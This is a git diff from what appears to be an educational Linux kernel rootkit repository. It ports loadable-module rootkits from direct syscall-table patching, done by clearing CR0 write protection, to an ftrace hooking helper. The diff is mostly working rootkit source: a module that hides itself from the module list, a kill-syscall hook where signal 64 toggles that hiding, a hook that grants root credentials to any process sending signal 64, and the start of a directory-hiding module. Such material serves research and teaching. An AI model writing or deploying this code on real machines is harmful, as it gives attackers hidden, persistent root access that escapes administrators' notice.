diff --git a/3_RootkitTechniques/3.0_hiding_lkm/rootkit.c b/3_RootkitTechniques/3.0_hiding_lkm/rootkit.c index acc811f..871db04 100644 --- a/3_RootkitTechniques/3.0_hiding_lkm/rootkit.c +++ b/3_RootkitTechniques/3.0_hiding_lkm/rootkit.c @@ -19,32 +19,32 @@ void showme(void) { - /* Add the saved list_head struct back to the module list */ - list_add(&THIS_MODULE->list, prev_module); - hidden = 0; + /* Add the saved list_head struct back to the module list */ + list_add(&THIS_MODULE->list, prev_module); + hidden = 0; } void hideme(void) { - /* Save the module in the list before us, so we can add ourselves - * back to the list in the same place later. */ - prev_module = THIS_MODULE->list.prev; - /* Remove ourselves from the list module list */ - list_del(&THIS_MODULE->list); - hidden = 1; + /* Save the module in the list before us, so we can add ourselves + * back to the list in the same place later. */ + prev_module = THIS_MODULE->list.prev; + /* Remove ourselves from the list module list */ + list_del(&THIS_MODULE->list); + hidden = 1; } static int __init rootkit_init(void) { - printk(KERN_INFO "Rootkit Loaded >:-)\n"); - hideme(); - return 0; + printk(KERN_INFO "Rootkit Loaded >:-)\n"); + hideme(); + return 0; } static void __exit rootkit_exit(void) { - /* Note that you won't be able to unload this LKM yet... */ - printk(KERN_INFO "Goodbye, World!\n"); + /* Note that you won't be able to unload this LKM yet... */ + printk(KERN_INFO "Goodbye, World!\n"); } module_init(rootkit_init); diff --git a/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c b/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c index c1c8828..c7a8f11 100644 --- a/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c +++ b/3_RootkitTechniques/3.1_syscall_hooking/rootkit.c @@ -41,27 +41,27 @@ * Note that we call the real sys_mkdir() function at the end */ asmlinkage int hook_mkdir(const struct pt_regs *regs) { - char __user *pathname = (char *)regs->di; - char dir_name[NAME_MAX] = {0}; + char __user *pathname = (char *)regs->di; + char dir_name[NAME_MAX] = {0}; - /* Copy the directory name from userspace (pathname, from - * the pt_regs struct, to kernelspace (dir_name) so that we - * can print it out to the kernel buffer */ - long error = strncpy_from_user(dir_name, pathname, NAME_MAX); + /* Copy the directory name from userspace (pathname, from + * the pt_regs struct, to kernelspace (dir_name) so that we + * can print it out to the kernel buffer */ + long error = strncpy_from_user(dir_name, pathname, NAME_MAX); - if (error > 0) - printk(KERN_INFO "rootkit: Trying to create directory with name: %s\n", dir_name); + if (error > 0) + printk(KERN_INFO "rootkit: Trying to create directory with name: %s\n", dir_name); - /* Pass the pt_regs struct along to the original sys_mkdir syscall */ - orig_mkdir(regs); - return 0; + /* Pass the pt_regs struct along to the original sys_mkdir syscall */ + orig_mkdir(regs); + return 0; } /* The built in linux write_cr0() function stops us from modifying * the WP bit, so we write our own instead */ inline void cr0_write(unsigned long cr0) { - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); + asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); } /* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which @@ -69,52 +69,52 @@ * the syscall table, so we need to unset it first */ static inline void protect_memory(void) { - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); + unsigned long cr0 = read_cr0(); + set_bit(16, &cr0); + cr0_write(cr0); } static inline void unprotect_memory(void) { - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); + unsigned long cr0 = read_cr0(); + clear_bit(16, &cr0); + cr0_write(cr0); } /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table, and make sure we succeeded */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); + /* Grab the syscall table, and make sure we succeeded */ + __sys_call_table = kallsyms_lookup_name("sys_call_table"); - /* Grab the function pointer to the real sys_mkdir syscall */ - orig_mkdir = (orig_mkdir_t)__sys_call_table[__NR_mkdir]; + /* Grab the function pointer to the real sys_mkdir syscall */ + orig_mkdir = (orig_mkdir_t)__sys_call_table[__NR_mkdir]; - printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: mkdir @ 0x%lx\n", orig_mkdir); - - unprotect_memory(); + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); + printk(KERN_DEBUG "rootkit: mkdir @ 0x%lx\n", orig_mkdir); + + unprotect_memory(); - printk(KERN_INFO "rootkit: hooking mkdir syscall\n"); - /* Patch the function pointer to sys_mkdir with our hook instead */ - __sys_call_table[__NR_mkdir] = (unsigned long)hook_mkdir; + printk(KERN_INFO "rootkit: hooking mkdir syscall\n"); + /* Patch the function pointer to sys_mkdir with our hook instead */ + __sys_call_table[__NR_mkdir] = (unsigned long)hook_mkdir; - protect_memory(); + protect_memory(); - return 0; + return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring mkdir syscall\n"); - __sys_call_table[__NR_mkdir] = (unsigned long)orig_mkdir; - - protect_memory(); - - printk(KERN_INFO "rootkit: Unloaded :-(\n"); + unprotect_memory(); + + printk(KERN_INFO "rootkit: restoring mkdir syscall\n"); + __sys_call_table[__NR_mkdir] = (unsigned long)orig_mkdir; + + protect_memory(); + + printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); diff --git a/3_RootkitTechniques/3.2_kill_signalling/README.md b/3_RootkitTechniques/3.2_kill_signalling/README.md index 4d96e6d..16b3bf1 100644 --- a/3_RootkitTechniques/3.2_kill_signalling/README.md +++ b/3_RootkitTechniques/3.2_kill_signalling/README.md @@ -2,6 +2,8 @@ ## 3.2: Custom Signals To Hide/Reveal LKMs +> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory + We can use the same syscall hijacking method from [Section 3.1](../3.1_syscall_hooking/) to hijack the `sys_kill` syscall rather than `sys_mkdir`. This lets us implement our own custom signals to call different functions within the rootkit. In this case, we use signal `64` (normally unused) to tell the module hide or unhide itself (using the `hideme()` and `showme()` functions from [Section 3.0](../3.0_hiding_lkm/)). > NOTE: While experimenting with this module, I found that the kernel kept panicking and crashing if I probed the calls to `sys_mkdir` too often, i.e. trying to `printk` every call signal send to every pid. I think this is probably something to do with a race condition somewhere, but I'm not certain. diff --git a/3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h b/3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h new file mode 100644 index 0000000..1624ce4 --- /dev/null +++ b/3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.2_kill_signalling/rootkit.c b/3_RootkitTechniques/3.2_kill_signalling/rootkit.c index 09bb9d6..416f275 100644 --- a/3_RootkitTechniques/3.2_kill_signalling/rootkit.c +++ b/3_RootkitTechniques/3.2_kill_signalling/rootkit.c @@ -3,58 +3,97 @@ #include #include #include +#include + +#include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Syscall hijacking to send custom signals"); -MODULE_VERSION("0.01"); +MODULE_VERSION("0.02"); -static unsigned long * __sys_call_table; - -/* orig_kill_t has to be declared to take pt_regs as as argument - * so that we can access the variables stored in registers */ -typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); -orig_kill_t orig_kill; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familiar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif /* We need these for hiding/revealing the kernel module */ static struct list_head *prev_module; static short hidden = 0; +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_kill and hook_kill functions differently + * depending on the kernel version. This is the largest barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_kill)(const struct pt_regs *); + /* After grabbing the sig out of the pt_regs struct, just check - * for signal 64 (unused normally) and, using "hidden" as a toggle - * we either call hideme(), showme(), or the real sys_kill() + * for signal 64 (unused normally) and, using "hidden" as a toggle + * we either call hideme(), showme() or the real sys_kill() * syscall with the arguments passed via pt_regs. */ asmlinkage int hook_kill(const struct pt_regs *regs) { - void showme(void); - void hideme(void); + void showme(void); + void hideme(void); - // pid_t pid = regs->di; - int sig = regs->si; + // pid_t pid = regs->di; + int sig = regs->si; - if ( (sig == 64) && (hidden == 0) ) - { - printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n"); - hideme(); - hidden = 1; - } - else if ( (sig == 64) && (hidden == 1) ) - { - printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n"); - showme(); - hidden = 0; - } - else - { - return orig_kill(regs); - } + if ( (sig == 64) && (hidden == 0) ) + { + printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n"); + hideme(); + hidden = 1; + } + else if ( (sig == 64) && (hidden == 1) ) + { + printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n"); + showme(); + hidden = 0; + } + else + { + return orig_kill(regs); + } } +#else +/* This is the old way of declaring a syscall hook */ +static asmlinkage long (*orig_kill)(pid_t pid, int sig); + +static asmlinkage int hook_kill(pid_t pid, int sig) +{ + void showme(void); + void hideme(void); + + if ( (sig == 64) && (hidden == 0) ) + { + printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n"); + hideme(); + hidden = 1; + } + else if ( (sig == 64) && (hidden == 1) ) + { + printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n"); + showme(); + hidden = 0; + } + else + { + return orig_kill(pid, sig); + } +} +#endif /* Add this LKM back to the loaded module list, at the point * specified by prev_module */ void showme(void) { - list_add(&THIS_MODULE->list, prev_module); + list_add(&THIS_MODULE->list, prev_module); } /* Record where we are in the loaded module list by storing @@ -62,68 +101,34 @@ * from the list */ void hideme(void) { - prev_module = THIS_MODULE->list.prev; - list_del(&THIS_MODULE->list); + prev_module = THIS_MODULE->list.prev; + list_del(&THIS_MODULE->list); } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) -{ - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); -} - -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) -{ - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); -} - -static inline void unprotect_memory(void) -{ - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); -} +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_kill", hook_kill, &orig_kill), +}; /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; - /* Grab the function pointer to the real sys_kill syscall */ - orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking kill syscall\n"); - /* Patch the function pointer to sys_kill with our hook instead */ - __sys_call_table[__NR_kill] = (unsigned long)hook_kill; - - protect_memory(); - - return 0; + return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring kill syscall\n"); - __sys_call_table[__NR_kill] = (unsigned long)orig_kill; - - protect_memory(); - - printk(KERN_INFO "rootkit: Unloaded :-(\n"); + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); diff --git a/3_RootkitTechniques/3.3_set_root/README.md b/3_RootkitTechniques/3.3_set_root/README.md index 022cc11..8a39ccf 100644 --- a/3_RootkitTechniques/3.3_set_root/README.md +++ b/3_RootkitTechniques/3.3_set_root/README.md @@ -2,6 +2,8 @@ ## 3.3: Custom Signals To Give Root Privileges To A Process +> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory + Similar to [Section 3.2](../3.2_kill_signalling/), we can abuse hooking `sys_kill` to trigger a function that gives root to any process that sends a `64` signal to a process (as before, signal `64` is normally unused). According to [credentials.rst](https://github.com/torvalds/linux/blob/master/Documentation/security/credentials.rst#altering-credentials), we can only modify the `cred` struct of our own process, and not that of any other process. This means that we can't give an already running process root privileges unless we send the `64` signal from that process! Quite a clever security feature! diff --git a/3_RootkitTechniques/3.3_set_root/ftrace_helper.h b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h new file mode 100644 index 0000000..1624ce4 --- /dev/null +++ b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.3_set_root/rootkit.c b/3_RootkitTechniques/3.3_set_root/rootkit.c index 3f24e90..fd0b3cc 100644 --- a/3_RootkitTechniques/3.3_set_root/rootkit.c +++ b/3_RootkitTechniques/3.3_set_root/rootkit.c @@ -3,117 +3,115 @@ #include #include #include +#include + +#include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Giving root privileges to a process"); -MODULE_VERSION("0.01"); +MODULE_VERSION("0.02"); -static unsigned long * __sys_call_table; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familiar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif -typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); -orig_kill_t orig_kill; +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_kill and hook_kill functions differently + * depending on the kernel version. This is the largest barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_kill)(const struct pt_regs *); /* We can only modify our own privileges, and not that of another * process. Just have to wait for signal 64 (normally unused) * and then call the set_root() function. */ asmlinkage int hook_kill(const struct pt_regs *regs) { - void set_root(void); + void set_root(void); - // pid_t pid = regs->di; - int sig = regs->si; + // pid_t pid = regs->di; + int sig = regs->si; - if ( sig == 64 ) - { - printk(KERN_INFO "rootkit: giving root...\n"); - set_root(); - return 0; - } + if ( sig == 64 ) + { + printk(KERN_INFO "rootkit: giving root...\n"); + set_root(); + return 0; + } - return orig_kill(regs); + return orig_kill(regs); } +#else +/* This is the old way of declaring a syscall hook */ +static asmlinkage long (*orig_kill)(pid_t pid, int sig); + +static asmlinkage int hook_kill(pid_t pid, int sig) +{ + void set_root(void); + + if ( sig == 64 ) + { + printk(KERN_INFO "rootkit: giving root...\n"); + set_root(); + return 0; + } + + return orig_kill(pid, sig); +} +#endif /* Whatever calls this function will have it's creds struct replaced * with root's */ void set_root(void) { - /* prepare_creds returns the current credentials of the process */ - struct cred *root; - root = prepare_creds(); + /* prepare_creds returns the current credentials of the process */ + struct cred *root; + root = prepare_creds(); - if (root == NULL) - return; + if (root == NULL) + return; - /* Run through and set all the various *id's to 0 (root) */ - root->uid.val = root->gid.val = 0; - root->euid.val = root->egid.val = 0; - root->suid.val = root->sgid.val = 0; - root->fsuid.val = root->fsgid.val = 0; + /* Run through and set all the various *id's to 0 (root) */ + root->uid.val = root->gid.val = 0; + root->euid.val = root->egid.val = 0; + root->suid.val = root->sgid.val = 0; + root->fsuid.val = root->fsgid.val = 0; - /* Set the cred struct that we've modified to that of the calling process */ - commit_creds(root); + /* Set the cred struct that we've modified to that of the calling process */ + commit_creds(root); } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) -{ - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); -} - -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) -{ - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); -} - -static inline void unprotect_memory(void) -{ - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); -} +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_kill", hook_kill, &orig_kill), +}; /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; - /* Grab the function pointer to the real sys_kill syscall */ - orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking kill syscall\n"); - /* Patch the function pointer to sys_kill with our hook instead */ - __sys_call_table[__NR_kill] = (unsigned long)hook_kill; - - protect_memory(); - - return 0; + return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring kill syscall\n"); - __sys_call_table[__NR_kill] = (unsigned long)orig_kill; - - protect_memory(); - - printk(KERN_INFO "rootkit: Unloaded :-(\n"); + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); diff --git a/3_RootkitTechniques/3.4_hiding_directories/README.md b/3_RootkitTechniques/3.4_hiding_directories/README.md index 6a33de6..c01bf51 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/README.md +++ b/3_RootkitTechniques/3.4_hiding_directories/README.md @@ -2,6 +2,10 @@ ## 3.4: Hiding files/directories +> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory + +> Sadly, this module is a lot bigger when we use ftrace. The reason is that we end up repeating the hook function *four* times - two copies each of both `sys_getdents` and `sys_getdents64`, using both the `pt_regs` struct and the old-fashioned function declaration (for kernel versions <4.17 - looking at you Ubuntu 16.04...) + This is probably the most complicated syscall hook yet. As far as the kernel module goes, the structure is the same as the others in this section - we find the syscall table, and then hook a syscall with our own replacement, in this case, we hook `sys_getdents64`. What makes this task more difficult is that we are actually altering the structs that are returned to the user. First, we extract the *userspace* `dirent` struct from the `si` register in `regs`, and then call the real `sys_getdents64` and save the result in `ret`. Then, we have to `copy_from_user` the *userspace* `dirent` struct to the *kernelspace* `dirent_ker` struct so that we can probe and alter it's contents. At this point, we loop through the directory entries using `offset` (initially set to `0`, and incremented by the `d_reclen` field of each dirent as we proceed through the entries). diff --git a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h new file mode 100644 index 0000000..f3a0171 --- /dev/null +++ b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + 